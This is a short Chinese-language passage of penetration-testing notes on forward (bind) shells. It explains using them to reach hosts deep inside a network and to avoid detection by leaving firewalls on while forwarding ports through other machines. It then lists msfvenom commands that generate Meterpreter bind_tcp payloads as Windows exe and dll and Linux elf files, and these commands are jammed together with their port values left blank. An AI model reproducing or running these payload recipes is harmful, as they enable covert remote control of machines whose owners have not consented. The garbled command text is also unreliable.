- 使用场景:
场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就 只能能正向;还有⽐如 有⼀种情 况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因 为其他机器 防⽕墙都开着,为避免在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的⻢,然后通过开着防⽕墙的机器来进⾏端⼝的转发达到穿透的⽬的。
生成exe文件
-
msfvenom ⽣成正向 Paylaodmsfvenom -p windows/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exemsfvenom -p windows/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dllmsfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dllmsfvenom -p linux/x64/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elfmsfvenom -p linux/x86/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elf